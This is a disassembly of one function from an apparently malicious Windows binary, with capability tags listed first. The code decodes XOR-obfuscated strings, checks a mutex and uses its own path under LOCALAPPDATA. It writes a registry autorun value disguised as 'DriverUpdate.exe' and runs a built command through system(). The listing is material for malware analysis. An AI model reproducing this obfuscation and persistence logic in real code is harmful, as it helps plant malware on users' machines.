Function at 0x14000dff0
Capabilities:
Authenticate hmac
Execute command
Open clipboard
Read clipboard data
Set registry value
Write clipboard data

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rax, qword [0x140017040]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov cl, 0x73
mov byte [rbp + 0x60], 0x11
mov dl, 0x49
xor cl, 0x11
xor dl, 0x11
mov byte [rbp + 0x62], cl
mov r8b, 0x5b
mov byte [rbp + 0x63], dl
xor r8b, 0x11
mov al, 0x76
mov r9b, 0x3a
mov byte [rbp + 0x64], r8b
mov r10b, 0x47
lea r8, [rbp + 0x61]
mov r11b, 0x44
xor al, 0x11
xor r9b, 0x11
mov byte [rbp + 0x61], al
xor r10b, 0x11
mov byte [rbp + 0x65], r9b
xor r11b, 0x11
mov byte [rbp + 0x66], r10b
mov bl, 0x65
mov byte [rbp + 0x67], r11b
mov dil, 0x69
xor esi, esi
xor bl, 0x11
mov byte [rbp + 0x6a], sil
xor dil, 0x11
mov byte [rbp + 0x68], bl
xor edx, edx
mov byte [rbp + 0x69], dil
mov ecx, 0x1f0001
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
test rax, rax
je 0x14000e097
xor eax, eax
jmp 0x14000f136
lea r8, str.localappdata
mov qword [rsp + 0x4a8], r14
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x40], r13
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], r13
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x14000f534
mov r14, qword [rsp + 0x40]
test r14, r14
je 0x14000f534
mov rdi, qword [rsp + 0x50]
movabs rbx, 0x7fffffffffffffff
dec rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
cmp rdi, rbx
ja 0x14000f53e
cmp rdi, 0xf
ja 0x14000e132
mov r8, rdi
mov qword [rbp + 0xc0], rdi
mov rdx, r14
mov qword [rbp + 0xc8], 0xf
lea rcx, [rbp + 0xb0]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi + 0xb0], sil
jmp 0x14000e1ca
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x14000e16b
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000f948
test rax, rax
je 0x14000e244
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000e1a3
mov ecx, 0x16
mov rbx, rax
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000e196
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000f544
jmp 0x14000e14c
test rcx, rcx
je 0x14000e1a3
call fcn.14000f948
mov rsi, rax
mov r8, rdi
mov qword [rbp + 0xb0], rsi
mov rdx, r14
mov qword [rbp + 0xc0], rdi
mov rcx, rsi
mov qword [rbp + 0xc8], rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rdi], r13b
cmp qword [rbp + 0xc8], 0xf
lea rax, [rbp + 0xb0]
lea rdx, [rbp + 0xa0]
cmova rax, qword [rbp + 0xb0]
lea rcx, [rbp + 0x1e8]
mov qword [rbp + 0xa0], rax
xor r8d, r8d
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0xa8], rax
call fcn.140003a80
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14000e250
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e24b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e24b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f984
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x4a0], r12
mov qword [rsp + 0x4b0], r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov al, 0x26
mov byte [rbp + 0x60], 0x42
movzx ecx, al
movzx r9d, al
xor al, 0x42
mov bl, 0x27
xor cl, 0x42
mov byte [rbp + 0x61], al
movzx esi, bl
mov byte [rbp + 0x62], cl
movzx r15d, bl
lea rax, [rbp + 0x61]
xor r12d, r12d
mov qword [rbp + 0xa0], rax
xor r9b, 0x42
mov byte [rbp + 0x6d], r12b
xor bl, 0x42
mov byte [rbp + 0x65], r9b
xor sil, 0x42
mov byte [rbp + 0x68], bl
mov dl, 0x37
mov byte [rbp + 0x6a], sil
xor dl, 0x42
lea rcx, [rbp + 0x61]
mov r8b, 0x32
mov byte [rbp + 0x63], dl
xor r8b, 0x42
mov r10b, 0x23
xor r10b, 0x42
mov byte [rbp + 0x64], r8b
mov r11b, 0x36
mov byte [rbp + 0x66], r10b
xor r11b, 0x42
mov dil, 0x6c
xor dil, 0x42
mov byte [rbp + 0x67], r11b
mov r14b, 0x3a
mov byte [rbp + 0x69], dil
xor r14b, 0x42
mov rax, 0xffffffffffffffff
xor r15b, 0x42
mov byte [rbp + 0x6b], r14b
mov byte [rbp + 0x6c], r15b
inc rax
cmp byte [rcx + rax], r12b
jne 0x14000e306
xor r8d, r8d
mov qword [rbp + 0xa8], rax
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x148]
call fcn.140003a80
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x128]
call fcn.140006ab0
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x128]
call fcn.140007730
lea rcx, [rbp + 0x148]
call fcn.14000c520
mov r8d, 0x104
lea rdx, [rbp + 0x250]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x250]
mov qword [rbp + 0xa0], rax
lea rcx, [rbp + 0x250]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], r12b
jne 0x14000e390
xor r8d, r8d
mov qword [rbp + 0xa8], rax
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x168]
call fcn.140003a80
cmp qword [rbp + 0x140], 7
lea rax, [rbp + 0x128]
lea rdx, [rbp + 0xa0]
cmova rax, qword [rbp + 0x128]
lea rcx, [rbp + 0x168]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0xa8], rax
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
call fcn.14000cc50
test eax, eax
je 0x14000f153
lea rax, [0x140011c70]
mov qword [rsp + 0x60], rax
lea rcx, [rbp - 8]
lea rax, [0x140011c78]
mov qword [rsp + 0x70], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r8d, r8d
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
movdqa xmm1, xmmword [str.K8_9_k__kd]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
movd edx, xmm1
mov r8b, 0x6b
movdqa xmm2, xmmword [0x140011de0]
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0x80], xmm2
xor byte [rbp + 0x81], dl
mov cl, 0x3f
xor byte [rbp + 0x82], dl
xor cl, dl
xor byte [rbp + 0x83], dl
movzx r11d, r8b
xor byte [rbp + 0x84], dl
movzx edi, r8b
xor byte [rbp + 0x85], dl
movzx r15d, r8b
xor byte [rbp + 0x86], dl
xor r8b, dl
xor byte [rbp + 0x87], dl
mov r9b, 0x66
xor byte [rbp + 0x88], dl
mov sil, 0x6d
xor byte [rbp + 0x89], dl
mov r10b, 0x25
xor byte [rbp + 0x8a], dl
mov bl, 0x7a
xor byte [rbp + 0x8b], dl
movzx r14d, sil
xor byte [rbp + 0x8c], dl
xor byte [rbp + 0x8d], dl
xor byte [rbp + 0x8e], dl
xor byte [rbp + 0x8f], dl
movdqu xmmword [rbp + 0x70], xmm1
xor byte [rbp + 0x72], dl
xor byte [rbp + 0x73], dl
xor byte [rbp + 0x74], dl
xor byte [rbp + 0x75], dl
xor byte [rbp + 0x76], dl
xor byte [rbp + 0x77], dl
xor byte [rbp + 0x78], dl
xor byte [rbp + 0x79], dl
xor byte [rbp + 0x7a], dl
xor byte [rbp + 0x7b], dl
xor byte [rbp + 0x7c], dl
xor byte [rbp + 0x7d], dl
xor byte [rbp + 0x7e], dl
xor byte [rbp + 0x7f], dl
mov qword [rsp + 0x78], rax
psrldq xmm0, 1
movd eax, xmm0
mov qword [rbp - 0x20], r13
mov dword [rbp - 0x18], r13d
xor al, dl
mov byte [rbp + 0x90], cl
mov byte [rbp + 0x71], al
movd eax, xmm2
mov byte [rbp + 0x91], r8b
xor al, dl
mov byte [rbp + 0x80], al
xor r9b, dl
xor r10b, dl
mov byte [rbp + 0x92], r9b
xor r11b, dl
mov byte [rbp + 0x93], r10b
xor bl, dl
mov byte [rbp + 0x94], r11b
xor dil, dl
mov byte [rbp + 0x95], bl
xor sil, dl
mov byte [rbp + 0x96], dil
xor r14b, dl
mov byte [rbp + 0x97], sil
xor r15b, dl
mov byte [rbp + 0x98], r14b
lea rdx, [rbp + 0x71]
mov byte [rbp + 0x99], r15b
lea rcx, [rsp + 0x70]
mov byte [rbp + 0x9a], r12b
call fcn.140003190
mov cl, 0x32
mov byte [rbp + 0x120], 0x51
xor cl, 0x51
mov dl, 0x3e
xor dl, 0x51
mov byte [rbp + 0x121], cl
mov r8b, 0x21
mov byte [rbp + 0x122], dl
mov r9b, 0x28
lea rdx, [rbp + 0x121]
mov r10b, 0x71
mov r11b, 0x73
xor r8b, 0x51
xor r9b, 0x51
xor r10b, 0x51
mov byte [rbp + 0x123], r8b
xor r11b, 0x51
mov byte [rbp + 0x124], r9b
xor ebx, ebx
mov byte [rbp + 0x125], r10b
mov rcx, rax
mov byte [rbp + 0x126], r11b
mov byte [rbp + 0x127], bl
call fcn.140003190
lea rdx, [rbp + 0x1a8]
mov rbx, rax
lea rcx, [rbp + 0x168]
call fcn.14000dd70
cmp qword [rax + 0x18], 0xf
mov r8, qword [rax + 0x10]
jbe 0x14000e670
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140004270
lea rdx, [0x140011ca4]
mov rcx, rax
call fcn.140003190
lea rdx, [rbp + 0x148]
mov rbx, rax
lea rcx, [rbp + 0x128]
call fcn.14000dd70
cmp qword [rax + 0x18], 0xf
mov r8, qword [rax + 0x10]
jbe 0x14000e6ae
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140004270
lea rdx, str.__
mov rcx, rax
call fcn.140003190
movdqa xmm1, xmmword [str.N_::__ne_nene__va859_]
mov r8b, 0x6e
movd edx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
mov r9b, 0x6c
mov byte [rbp + 0xc2], r12b
xor r8b, dl
psrldq xmm0, 1
xor byte [rbp + 0xb2], dl
xor r9b, dl
xor byte [rbp + 0xb3], dl
xor byte [rbp + 0xb4], dl
xor byte [rbp + 0xb5], dl
xor byte [rbp + 0xb6], dl
xor byte [rbp + 0xb7], dl
xor byte [rbp + 0xb8], dl
xor byte [rbp + 0xb9], dl
xor byte [rbp + 0xba], dl
xor byte [rbp + 0xbb], dl
xor byte [rbp + 0xbc], dl
xor byte [rbp + 0xbd], dl
xor byte [rbp + 0xbe], dl
xor byte [rbp + 0xbf], dl
movd ecx, xmm0
mov byte [rbp + 0xc0], r8b
mov byte [rbp + 0xc1], r9b
xor cl, dl
lea rdx, [rbp + 0xb1]
mov byte [rbp + 0xb1], cl
mov rcx, rax
call fcn.140003190
lea rdx, [rbp + 0x1c8]
mov rbx, rax
lea rcx, [rbp + 0x128]
call fcn.14000dd70
cmp qword [rax + 0x18], 0xf
mov r8, qword [rax + 0x10]
jbe 0x14000e799
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140004270
lea rdx, str.__
mov rcx, rax
call fcn.140003190
mov dl, 0x1f
mov byte [rbp + 0x60], 0x7c
movzx r9d, dl
mov cl, 0x15
xor dl, 0x7c
xor cl, 0x7c
mov r8b, 0x1d
mov byte [rbp + 0x62], dl
mov r10b, 0x10
mov byte [rbp + 0x61], cl
mov r11b, 0xf
lea rdx, [rbp + 0x61]
xor r8b, 0x7c
xor r9b, 0x7c
xor r10b, 0x7c
mov byte [rbp + 0x63], r8b
xor r11b, 0x7c
mov byte [rbp + 0x64], r9b
mov bl, 0x5c
mov byte [rbp + 0x65], r10b
mov dil, 0x5e
mov byte [rbp + 0x66], r11b
xor esi, esi
xor bl, 0x7c
xor dil, 0x7c
mov byte [rbp + 0x67], bl
mov rcx, rax
mov byte [rbp + 0x68], dil
mov byte [rbp + 0x69], sil
call fcn.140003190
lea rdx, [rbp + 0x188]
mov rbx, rax
lea rcx, [rbp + 0x128]
call fcn.14000dd70
cmp qword [rax + 0x18], 0xf
mov r8, qword [rax + 0x10]
jbe 0x14000e83d
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140004270
movdqa xmm1, xmmword [0x140011f00]
mov rdi, rax
movd ecx, xmm1
mov r9b, 0x35
movdqa xmm2, xmmword [0x140011e10]
mov r10b, 0x33
movdqu xmmword [rbp + 0xe0], xmm2
xor byte [rbp + 0xe1], cl
movzx r11d, r10b
xor byte [rbp + 0xe2], cl
movzx ebx, r9b
xor byte [rbp + 0xe3], cl
xor r9b, cl
xor byte [rbp + 0xe4], cl
xor r10b, cl
xor byte [rbp + 0xe5], cl
xor r11b, cl
xor byte [rbp + 0xe6], cl
xor bl, cl
xor byte [rbp + 0xe7], cl
movdqa xmm0, xmm1
xor byte [rbp + 0xe8], cl
mov dl, 0x54
xor byte [rbp + 0xe9], cl
xor dl, cl
xor byte [rbp + 0xea], cl
mov r8b, 0x3c
xor byte [rbp + 0xeb], cl
xor r8b, cl
xor byte [rbp + 0xec], cl
xor byte [rbp + 0xed], cl
xor byte [rbp + 0xee], cl
xor byte [rbp + 0xef], cl
movdqu xmmword [rbp + 0xd0], xmm1
xor byte [rbp + 0xd2], cl
xor byte [rbp + 0xd3], cl
xor byte [rbp + 0xd4], cl
xor byte [rbp + 0xd5], cl
xor byte [rbp + 0xd6], cl
xor byte [rbp + 0xd7], cl
xor byte [rbp + 0xd8], cl
xor byte [rbp + 0xd9], cl
xor byte [rbp + 0xda], cl
xor byte [rbp + 0xdb], cl
xor byte [rbp + 0xdc], cl
xor byte [rbp + 0xdd], cl
xor byte [rbp + 0xde], cl
xor byte [rbp + 0xdf], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp + 0xf0], dl
lea rdx, [rbp + 0xd1]
mov byte [rbp + 0xf1], r8b
xor al, cl
mov byte [rbp + 0xf2], r9b
mov byte [rbp + 0xd1], al
movd eax, xmm2
mov byte [rbp + 0xf3], r10b
mov byte [rbp + 0xf4], r11b
xor al, cl
mov byte [rbp + 0xf5], bl
mov rcx, rdi
mov byte [rbp + 0xe0], al
mov byte [rbp + 0xf6], sil
call fcn.140003190
mov cl, 5
mov byte [rbp + 0xf8], 0x61
xor cl, 0x61
mov dl, 4
xor dl, 0x61
mov byte [rbp + 0xf9], cl
mov r8b, 0xd
mov byte [rbp + 0xfa], dl
xor r8b, 0x61
mov r9b, 0x41
mov byte [rbp + 0xfb], r8b
xor r9b, 0x61
mov r10b, 0x43
xor r10b, 0x61
mov byte [rbp + 0xfc], r9b
lea rdx, [rbp + 0xf9]
mov byte [rbp + 0xfd], r10b
mov rcx, rax
mov byte [rbp + 0xfe], sil
call fcn.140003190
lea rdx, [rbp + 0x228]
mov rbx, rax
lea rcx, [rbp + 0x168]
call fcn.14000dd70
cmp qword [rax + 0x18], 0xf
mov r8, qword [rax + 0x10]
jbe 0x14000ea20
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140004270
lea rdx, str.__
mov rcx, rax
call fcn.140003190
movdqa xmm1, xmmword [0x140011eb0]
movd edx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0x100], xmm1
mov byte [rbp + 0x110], sil
xor byte [rbp + 0x102], dl
xor byte [rbp + 0x103], dl
xor byte [rbp + 0x104], dl
xor byte [rbp + 0x105], dl
xor byte [rbp + 0x106], dl
xor byte [rbp + 0x107], dl
xor byte [rbp + 0x108], dl
xor byte [rbp + 0x109], dl
xor byte [rbp + 0x10a], dl
xor byte [rbp + 0x10b], dl
xor byte [rbp + 0x10c], dl
xor byte [rbp + 0x10d], dl
xor byte [rbp + 0x10e], dl
xor byte [rbp + 0x10f], dl
psrldq xmm0, 1
movd ecx, xmm0
xor cl, dl
lea rdx, [rbp + 0x101]
mov byte [rbp + 0x101], cl
mov rcx, rax
call fcn.140003190
lea rdx, [rbp + 0x208]
mov rbx, rax
lea rcx, [rbp + 0x128]
call fcn.14000dd70
cmp qword [rax + 0x18], 0xf
mov r8, qword [rax + 0x10]
jbe 0x14000eaf1
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140004270
movdqa xmm1, xmmword [str.sQSUUS]
movd edx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
mov byte [rbp + 0xaf], sil
xor byte [rbp + 0xa2], dl
xor byte [rbp + 0xa3], dl
xor byte [rbp + 0xa4], dl
xor byte [rbp + 0xa5], dl
xor byte [rbp + 0xa6], dl
xor byte [rbp + 0xa7], dl
xor byte [rbp + 0xa8], dl
xor byte [rbp + 0xa9], dl
xor byte [rbp + 0xaa], dl
xor byte [rbp + 0xab], dl
xor byte [rbp + 0xac], dl
xor byte [rbp + 0xad], dl
xor byte [rbp + 0xae], dl
psrldq xmm0, 1
movd ecx, xmm0
xor cl, dl
lea rdx, [rbp + 0xa1]
mov byte [rbp + 0xa1], cl
mov rcx, rax
call fcn.140003190
mov rcx, rax
lea rdx, str.__exit__
call fcn.140003190
lea rcx, [rbp + 0x208]
call fcn.1400071e0
lea rcx, [rbp + 0x228]
call fcn.1400071e0
mov r8, qword [rbp + 0x1a0]
cmp r8, 0xf
jbe 0x14000ebd0
mov rdx, qword [rbp + 0x188]
lea rcx, [rbp + 0x188]
call fcn.140009a90
mov rdx, qword [rbp + 0x1e0]
movdqa xmm0, xmmword [0x140011cf0]
mov byte [rbp + 0x188], sil
movdqu xmmword [rbp + 0x198], xmm0
cmp rdx, 0xf
jbe 0x14000ec28
mov rcx, qword [rbp + 0x1c8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ec23
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000eccb
call fcn.14000f984
mov rdx, qword [rbp + 0x160]
movdqa xmm0, xmmword [0x140011cf0]
mov byte [rbp + 0x1c8], sil
movdqu xmmword [rbp + 0x1d8], xmm0
cmp rdx, 0xf
jbe 0x14000ec7c
mov rcx, qword [rbp + 0x148]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ec77
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000eccb
call fcn.14000f984
mov rdx, qword [rbp + 0x1c0]
movdqa xmm0, xmmword [0x140011cf0]
mov byte [rbp + 0x148], sil
movdqu xmmword [rbp + 0x158], xmm0
cmp rdx, 0xf
jbe 0x14000ecd7
mov rcx, qword [rbp + 0x1a8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ecd2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ecd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f984
movdqa xmm1, xmmword [0x140011e80]
mov cl, 0x43
movd r11d, xmm1
mov dl, 0x48
movdqa xmm2, xmmword [0x140011e70]
movzx r10d, cl
movdqu xmmword [rbp + 0x80], xmm2
xor byte [rbp + 0x81], r11b
movzx r15d, dl
xor byte [rbp + 0x82], r11b
xor cl, r11b
xor byte [rbp + 0x83], r11b
xor dl, r11b
xor byte [rbp + 0x84], r11b
xor r10b, r11b
xor byte [rbp + 0x85], r11b
xor r15b, r11b
xor byte [rbp + 0x86], r11b
movdqa xmm0, xmm1
xor byte [rbp + 0x87], r11b
mov r8b, 0x52
xor byte [rbp + 0x88], r11b
xor r8b, r11b
xor byte [rbp + 0x89], r11b
mov r9b, 0x70
xor byte [rbp + 0x8a], r11b
xor r9b, r11b
xor byte [rbp + 0x8b], r11b
mov bl, 0x54
xor byte [rbp + 0x8c], r11b
xor bl, r11b
xor byte [rbp + 0x8d], r11b
mov dil, 0x55
xor byte [rbp + 0x8e], r11b
xor dil, r11b
xor byte [rbp + 0x8f], r11b
mov sil, 0x4f
movdqu xmmword [rbp + 0x70], xmm1
xor byte [rbp + 0x72], r11b
xor sil, r11b
xor byte [rbp + 0x73], r11b
mov r14b, 0x49
xor byte [rbp + 0x74], r11b
xor r14b, r11b
xor byte [rbp + 0x75], r11b
mov r12b, 0x7a
xor byte [rbp + 0x76], r11b
xor r12b, r11b
xor byte [rbp + 0x77], r11b
xor byte [rbp + 0x78], r11b
xor byte [rbp + 0x79], r11b
xor byte [rbp + 0x7a], r11b
xor byte [rbp + 0x7b], r11b
xor byte [rbp + 0x7c], r11b
xor byte [rbp + 0x7d], r11b
xor byte [rbp + 0x7e], r11b
xor byte [rbp + 0x7f], r11b
mov qword [rsp + 0x48], r13
mov r13b, 0x74
xor r13b, r11b
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp + 0x90], cl
mov byte [rbp + 0x91], dl
xor al, r11b
mov byte [rbp + 0x92], r8b
mov byte [rbp + 0x71], al
movd eax, xmm2
mov byte [rbp + 0x93], r9b
mov byte [rbp + 0x94], r10b
xor al, r11b
mov byte [rbp + 0x95], bl
mov byte [rbp + 0x80], al
mov al, 0x53
xor al, r11b
mov byte [rbp + 0x96], dil
mov byte [rbp + 0x97], sil
mov byte [rbp + 0x98], r14b
mov byte [rbp + 0x99], r15b
mov byte [rbp + 0x9a], r12b
mov byte [rbp + 0x9b], r13b
mov byte [rbp + 0x9c], al
lea r8, [rsp + 0x48]
mov al, 0x48
mov byte [rbp + 0x9e], 0
xor al, r11b
lea rdx, [rbp + 0x71]
mov rcx, 0xffffffff80000001
mov byte [rbp + 0x9d], al
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x128]
call fcn.14000dd70
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x128]
mov ebx, dword [rax + 0x10]
inc ebx
call fcn.14000dd70
cmp qword [rax + 0x18], 0xf
jbe 0x14000eebf
mov rax, qword [rax]
mov rcx, qword [rsp + 0x48]
lea rdx, str.DriverUpdate.exe
mov dword [rsp + 0x28], ebx
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rdx, qword [rbp + 0x160]
cmp rdx, 0xf
jbe 0x14000ef20
mov rcx, qword [rbp + 0x148]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ef1b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ef6f
call fcn.14000f984
mov rdx, qword [rbp + 0x1c0]
movdqa xmm0, xmmword [0x140011cf0]
mov byte [rbp + 0x148], 0
movdqu xmmword [rbp + 0x158], xmm0
cmp rdx, 0xf
jbe 0x14000ef7b
mov rcx, qword [rbp + 0x1a8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ef76
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ef76
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f984
mov ecx, dword [rbp - 0x18]
xorps xmm0, xmm0
movdqa xmm1, xmmword [0x140011cf0]
mov eax, ecx
and al, 0x22
movups xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0x100], 0
movdqu xmmword [rbp + 0x110], xmm1
movups xmmword [rbp + 0xb0], xmm0
cmp al, 2
je 0x14000eff6
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x14000eff3
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbase_void_const___ptr64]
lea rcx, [rsp + 0x78]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
cmp rax, qword [rbp - 0x20]
lea rcx, [rsp + 0x78]
mov rbx, rax
cmovb rbx, qword [rbp - 0x20]
sub rbx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
jmp 0x14000f03a
mov ecx, dword [rbp - 0x18]
test cl, 4
jne 0x14000f02c
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
test rax, rax
je 0x14000f02c
lea rcx, [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rsp + 0x78]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::egptr_void_const___ptr64]
mov rbx, rax
sub rbx, rdi
jmp 0x14000f03a
mov rbx, qword [rbp + 0xb8]
mov rdi, qword [rbp + 0xb0]
test rdi, rdi
je 0x14000f051
mov r8, rbx
lea rcx, [rbp + 0x100]
mov rdx, rdi
call fcn.14000ca70
cmp qword [rbp + 0x118], 0xf
lea rcx, [rbp + 0x100]
cmova rcx, qword [rbp + 0x100]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x14000f0b2
mov rcx, qword [rbp + 0x100]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f0ad
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f0ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f984
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x78]
call fcn.140007250
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x168]
call fcn.14000c520
lea rcx, [rbp + 0x128]
call fcn.14000c520
lea rcx, [rbp + 0x1e8]
call fcn.14000c520
mov r12, qword [rsp + 0x4a0]
xor eax, eax
mov r15, qword [rsp + 0x4b0]
mov r14, qword [rsp + 0x4a8]
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.14000fce0
add rsp, 0x470
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rcx, [rbp + 0x168]
call fcn.14000c520
lea rcx, [rbp + 0x128]
call fcn.14000c520
lea rcx, [rbp + 0x1e8]
call fcn.14000c520
mov dl, 0x35
mov byte [rbp + 0x60], 0x6d
xor dl, 0x6d
mov cl, 0xf
xor cl, 0x6d
mov byte [rbp + 0x63], dl
mov r8b, 0x27
mov byte [rbp + 0x62], cl
xor r8b, 0x6d
mov al, 0xa
mov r9b, 0x46
mov byte [rbp + 0x64], r8b
mov r10b, 0x3b
lea r8, [rbp + 0x61]
mov r11b, 0x38
xor esi, esi
xor al, 0x6d
mov byte [rbp + 0x6a], sil
xor r9b, 0x6d
mov byte [rbp + 0x61], al
xor r10b, 0x6d
mov byte [rbp + 0x65], r9b
